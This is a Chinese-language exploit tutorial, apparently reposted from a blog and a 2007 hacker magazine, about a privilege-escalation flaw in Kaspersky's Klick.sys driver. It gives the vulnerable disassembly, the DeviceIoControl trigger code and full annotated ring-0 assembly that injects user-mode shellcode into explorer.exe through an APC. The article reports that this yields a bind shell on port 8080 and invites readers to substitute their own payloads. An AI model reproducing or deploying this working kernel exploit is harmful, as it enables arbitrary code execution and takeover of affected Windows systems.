从卡巴漏洞管窥内核模式Shellcode的编写
来源:gyzy's Blog
本文已经发表在《黑客防线》2007年11月刊。作者及《黑客防线》保留版权,转载请注明原始出处
适合读者:溢出爱好者
前置知识:汇编语言、Windows内核基本原理
从卡巴漏洞管窥内核模式Shellcode的编写
文/图 gyzy[江苏大学信息安全系&EST]
在用户态(Ring3)下存在的种种漏洞在内核态(Ring0)一样存在,并且有些漏洞在用户态下反而比较少见,比较典型的例子就是 DeviceIOControl畸形参数这一类的漏洞。用户态的Exploit技术是内核Exploit技术的基础,假如连用户态下Exploit的一些概念还不是很清楚的话,建议读者先了解一下用户态的Exploit和Shellcode技术,这两者虽然相似,但是还是有很大的不同,在内核态下不像用户态下有丰富的API接口函数可供调用,并且要求也更高,一不小心就会导致蓝屏。网上有很多介绍驱动本地权限提升漏洞的文章,但对于写可用的 Shellcode这个问题都回避了,这次我以卡巴NDIS-TDI Hook驱动(Klick.sys)的畸形参数漏洞为蓝本,详细讲述一下如何编写能在内核下运行的Shellcode,KIS/KAV 6.0.0.0-6.0.0.307均存在此漏洞,测试的时候注意版本。在开始之前,先来介绍一下要用到的背景知识。
背景知识
Kernel&Userland
386 及以上的CPU实现了4个特权级模式(WINDOWS只用到了其中两个),其中特权级0(Ring0)是留给操作系统代码,设备驱动程序代码使用的,它们工作于系统核心态;而特权极3(Ring3)则给普通的用户程序使用,它们工作在用户态。运行于处理器核心态的代码不受任何的限制,可以自由地访问任何有效地址,进行直接端口访问。而运行于用户态的代码则要受到处理器的诸多检查,它们只能访问映射其地址空间的页表项中规定的在用户态下可访问页面的虚拟地址,且只能对任务状态段(TSS)中I/O许可位图(I/O Permission Bitmap)中规定的可访问端口进行直接访问(此时处理器状态和控制标志寄存器EFLAGS中的IOPL通常为0,指明当前可以进行直接I/O的最低特权级别是Ring0)。以上的讨论只限于保护模式操作系统,象DOS这种实模式操作系统则没有这些概念,其中的所有代码都可被看作运行在核心态。处理器模式从Ring3向Ring0的切换发生在控制权转移时,有以下两种情况:访问调用门的长转移指令CALL,访问中断门或陷阱门的INT指令。具体的转移细节由于涉及复杂的保护检查和堆栈切换,不再赘述,请参阅相关资料。现代的操作系统通常使用中断门来提供系统服务,通过执行一条陷入指令来完成模式切换,在 INTEL X86上这条指令是INT,如在WIN9X下是INT30(保护模式回调),在Linux下是INT80,在WINNT/2000下是INT2E。用户模式的服务程序(如系统DLL)通过执行一个INTXX来请求系统服务,然后处理器模式将切换到核心态,工作于核心态的相应的系统代码将服务于此次请求并将结果传给用户程序。
NativeAPI
本机API是除了Win32 API,NT平台开放的另一个接口。本机API它运行在Ring0层,拥有没有限制的操作权限,因此微软出于安全考虑并没有发布支持这种应用的开发方法。 Win32 API中的所有调用最终都转向了ntdll.dll,再由它转发至ntoskrnl.exe。ntdll.dll是本机 API用户模式的终端。真正的接口在ntoskrnl.exe里完成。事实上,内核模式的驱动大部分都在调用这个模块。Ntdll.dll的主要作用就是让内核函数的特定子集可以被用户模式下运行的程序调用。Ntdll.dll通过软件中断int 2Eh进入ntoskrnl.exe,也就是通过中断门切换CPU特权级。
Windows的APC机制
APC是“异步过程调用 (Asyncroneus Procedure Call)”的缩写。从大体上说,Windows的APC机制相当于Linux的Signal机制,实质上是一种对于应用软件(线程)的“软件中断”机制。但是读者将会看到,APC机制至少在形式上与软件中断机制还是有相当的区别,而称之为“异步过程调用”确实更为贴切。APC与系统调用是密切连系在一起的,在这个意义上APC是系统调用界面的一部分。然而APC又与设备驱动有着很密切的关系。例如,ntddk.h中提供“写文件”系统调用 ZwWriteFile()、即NtWriteFile()的调用接口:
NTSYSAPI
NTSTATUS
NTAPI
ZwWriteFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PVOID Buffer,
IN ULONG Length,
IN PLARGE_INTEGER ByteOffset OPTIONAL,
IN PULONG Key OPTIONAL
);
这里有个参数ApcRoutine,这是一个函数指针。什么时候要用到这个指针呢?原来,文件操作有“同步”和“异步”之分。普通的写文件操作是同步写,启动这种操作的线程在内核进行写文件操作期间被“阻塞(blocked)”而进入“睡眠”,直到设备驱动完成了操作以后才又将该线程“唤醒”而从系统调用返回。但是,如果目标文件是按异步操作打开的,即在通过W32的API函数CreateFile()打开目标文件时把调用参数 dwFlagsAndAttributes设置成FILE_FLAG_OVERLAPPED,那么调用者就不会被阻塞,而是把事情交给内核、不等实际的操作完成就返回了。但是此时要把ApcRoutine设置成指向某个APC函数。这样,当设备驱动完成实际的操作时,就会使调用者线程执行这个APC函数,就像是发生了一次中断。
漏洞分析
漏洞出现卡巴的NDIS-TDI Hook驱动(Klick.sys)中,该驱动在处理0x80052110号IO请求时未对参数进行足够的验证,导致非特权用户能够以Ring0权限执行任意代码,这种类似的漏洞已经暴露过不少,在定位问题代码的时候可以在IDA中直接以文本搜索80052110,问题代码如下:
.text:00011740 mov [ebp+var_8], ebx
.text:00011743 jz loc_11988
.text:00011749 cmp eax, 80052108h
.text:0001174E jz loc_1195E
.text:00011754 cmp eax, 8005210Ch
.text:00011759 jz loc_1194A
.text:0001175F cmp eax, 80052110h
.text:00011764 jz loc_117F8
此处代码是驱动的Dispatch例程中对IO代码处理的一个Switch Case判断,看看loc_117F8处的处理代码:
.text:000117F8 loc_117F8: ; CODE XREF: sub_1172A+3Aj
.text:000117F8 mov esi, [ebp+arg_4]
.text:000117FB cmp esi, ebx
.text:000117FD jz loc_119B0
.text:00011803 cmp [ebp+arg_8], 8
.text:00011807 jb loc_119B0
.text:0001180D mov eax, [ecx]
.text:0001180F push ebx
.text:00011810 call dword ptr [eax+14h]
.text:00011813 mov edi, eax
.text:00011815 cmp edi, ebx
.text:00011817 jz loc_1199F
.text:0001181D mov eax, [edi]
.text:0001181F mov ecx, edi
.text:00011821 call dword ptr [eax+4]
.text:00011824 push dword ptr [esi+4]
.text:00011827 mov ecx, edi
.text:00011829 push dword ptr [esi]
.text:0001182B call sub_15306
注意此时的 [ebp+arg_4]也就是esi是第二个参数,指向用户提交的lpInBuffer,请看DeviceIOControl的原型:
BOOL DeviceIoControl( HANDLE hDevice,
DWORD dwIoControlCode,
LPVOID lpInBuffer,
DWORD nInBufferSize,
LPVOID lpOutBuffer,
DWORD nOutBufferSize,
LPDWORD lpBytesReturned,
LPOVERLAPPED lpOverlapped );
跟入sub_15306:
.text:00015306 push ebp
.text:00015307 mov ebp, esp
.text:00015309 sub esp, 20h
.text:0001530C push ebx
.text:0001530D push esi
.text:0001530E push edi
.text:0001530F mov esi, ecx
.text:00015311 call sub_1555A
.text:00015316 mov ecx, [ebp+arg_4]
.text:00015319 lea edi, [esi+10h]
.text:0001531C mov [esi+1ECh], ecx
.text:00015322 push ecx
.text:00015323 lea ecx, [esi+1B8h]
.text:00015329 mov [esi+1F0h], eax
.text:0001532F mov [edi], eax
.text:00015331 mov eax, [ebp+arg_0]
.text:00015334 push ecx
.text:00015335 push edi
.text:00015336 mov [esi+1ACh], eax
.text:0001533C call eax //注意这一条语句,eax指向用户提交的参数
00015331处的语句将用户态下传进来的指针传到了eax寄存器,由于没有做任何参数的有效性检查,导致了可以执行任意代码。
Exploit编写
现在剩下的就是执行什么代码的问题了,只要把函数指针传递给通过DeviceIOControl传递给驱动即可,由于是Ring0权限,普通的 Shellcode就不能用,这个时候我们就只能使用背景知识中介绍的本机API,大致实现的方案有两种:1.所有的功能都在内核态实现 2.在内核态向用户态插入代码。显然,第一种方法不太容易实现,这指的是功能较为复杂的Shellcode,例如:下载执行,绑定端口等等。只是权限提升的话网上已经有大牛给出了现成的代码。假如Shellcode较为复杂,第2种方法的优势就体现出来了,kernel下的Shellcode只是作为一个 loader,负责将Ring3下的Shellcode插入到Ring3下的某个进程中。这儿我只介绍第2种方法的实现,POC代码是一个台湾的网友修改自一个老外的,不过里面有一些小Bug,在调试的过程中害得我蓝屏了无数次。触发漏洞的代码非常简单,只有聊聊数行:
hDevice = CreateFile("\\\\.\\KLICK",0,0,NULL,3,0,0);
InSize = 0x8;
InBuff[0] =(DWORD) Ring0Shellcode;
dwIOCTL = 0x80052110;
DeviceIoControl(hDevice, dwIOCTL, InBuff,0x8,(LPVOID)NULL,0,&junk, NULL);
可能有读者会问为什么InBuff的大小是8,在上面驱动的反汇编代码中就能找到答案。剩下就是编写Ring0Shellcode的问题了, Ring0Shellcode主要是完成几个功能:将Usermode的Shellcode拷贝到目标进程,初始化一个APC,将此APC插入到 Ring3下的线程中,然后将驱动所在线程挂起,防止其继续执行导致蓝屏。用到的API函数有如下几个:ExAllocatePool、 KeInitializeApc、KeInsertQueueApc、ZwYieldExecution、 KeDelayExecutionThread。代码如下,为照顾初学者,已经加入了详细的注释:
void _declspec(naked) Ring0Shellcode()
{
//加入naked关键字是告诉编译器不要添加额外的建立栈帧等代码
__asm
{
nop
nop
nop
nop
nop
nop
nop
nop
mov eax,fs:[0x124] //TEB
mov esi,[eax+0x44] //EPROCESS
mov eax,esi
search:
mov eax,[eax+0x88] //activeprocess
sub eax,0x88
/*cmp dword ptr[eax+0x84],0x4 EPROCESS_PID可以通过比较PID的方式找到System这个进程,这个是在提升进程权限为System的Shellcode中用到*/
cmp dword ptr[eax+0x174],'lpxe' //FileName explorer.exe
jne search
// mov ebx,dword ptr[eax+0xc8] system token*/
mov ebx,eax
lea esi,usermodeshellcode //usermodeshellcode
mov ecx,0x1d6 // usermodeshellcode的大小是0x1d6
/*这儿利用了Ring3下的7FFE0000和Ring0下的FFDF0000指向同一物理内存,并且所有进程都可见这一发现*/
mov dword ptr[edi],0xffdf0800
push edi
mov edi,[edi]
rep movsb //将Ring3Shellcode拷贝至共享内存0xffdf0800
pop edi
/* 要通过APC机制激活Ring3下的线程需要该线程处于"Alertable Wait State",当且仅当该线程调用过以下函数并且bAlertable这个标志被设置为True的时候才会使其处于Wait状态:SleepEx, WaitForSingleObjectEx,SignalObjectAndWait,MsgWaitForMultipleObjectsEx*/
mov ecx,dword ptr[ebx+0x190]
finddelay:
mov ecx,[ecx]
cmp byte ptr[ecx-0x1ff],0x5 //1ff 指向该线程的状态 – state 0x5=wait
jnz finddelay //循环查找所有线程
sub ecx,0x22c
mov ebp,ecx
push 0x30 //APC结构体的大小
push 0 //Nonpage申请不分页的内存
mov eax,ExAllocatePool //ExAllocatePool申请内存
call eax //call ExAllocatePool
mov esi,eax
xor edx,edx
push edx //NULL
push 01 //UserMode
push eax //User Mode routine
push edx //NULL
mov eax,ZwYieldExecution //kernel routine ret
push eax //Kernel Mode routine
push edx //NULL
push ebp //前面找到线程的ETHREAD
push esi //APC object
mov eax,KeInitializeApc //initialize APC
call eax
xor ecx,ecx
xor edx,edx
xor eax,eax
push eax
push eax
push ebp //ETHREAD
push esi //APC Object
mov eax,KeInsertQueueApc
call eax
mov byte ptr[ebp+0x4a],0x1
push offset DelayTime
push 0
push 0
mov eax,KeDelayExecutionThread //使该线程进入睡眠状态
call eax
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
}
}
因为这个漏洞是本地溢出,所以获得上述用到的API要简单的多,可以通过在触发漏洞前通过在用户态下LoadLibrary(ntkrnlpa),获得函数的偏移量+内核模块ntkrnlpa的基址的方法获得:
ExAllocatePool=(DWORD)GetProcAddress(base,"ExAllocatePool");
ExAllocatePool=(DWORD)((DWORD)ExAllocatePool – (DWORD)base+(DWORD)kbase);
内核模块ntkrnlpa的基址可以调用本机API NtQuerySystemInformation获得,也可以通过其它方法获得。如果是远程溢出的话就稍微要麻烦一点,需要找到ntkrnlpa的基址,分析其导出表来获得上述API函数的地址。原作者将类似ExAllocatePool这些变量都定义成int*型变量,在上述的计算中会导致某些 API获得的地址不准确,让我蓝了很多次,后来在WinDBG下一调试,发现原来是函数的地址获得不对,郁闷啊。不知道是不是编译器不同产生的问题。另外在测试的时候有一点要注意,需要关闭DEP,如图1:
图1
DEP 是数据执行保护,是XP SP2以后新推出的东西,也不知道为什么代码在7FFE0000它也会拦截,可能微软早就对这一区域作出了防范,也没有仔细去研究,当然,可以提前 OpenProcess,再VitrualAllocEx申请某个地址的内存来绕过DEP,假如是远程溢出的话可能就比较麻烦了,有兴趣的读者可以试一下。再运行了kis.exe之后稍等片刻,可以看到我们的绑定cmd到8080端口的Shellcode已经成功执行了,如图2:
图2
总结
这是我第一次尝试写内核Exploit,前后大概调试了三四天,在Kernel的世界里,一个小小的错误都会导致蓝屏,害得我现在看到蓝屏就感到反胃,哈哈。这种通过Kernel Loader来执行Shellcode的方式是目前主流也是比较方便的一种实现,读者可以替换PoC中的Shellcode来实现自己想要的功能。对于传统的应用程序安全,大家都已经研究的比较透,而在Ring3下的一些软件安全问题到了Ring0下还是存在的,还没有引起大家足够的重视。这一块相对来说也可以算一个比较新的领域,在未来可能成为又一个研究热点。
文章也写的比较仓促,错误疏漏在所难免,敬请广大读者指正,有任何问题来我的博客留言:http://www.gyzy.org
(文中所涉及的程序码,请到黑防官方网站下载,详细地址请看公共论坛置顶帖)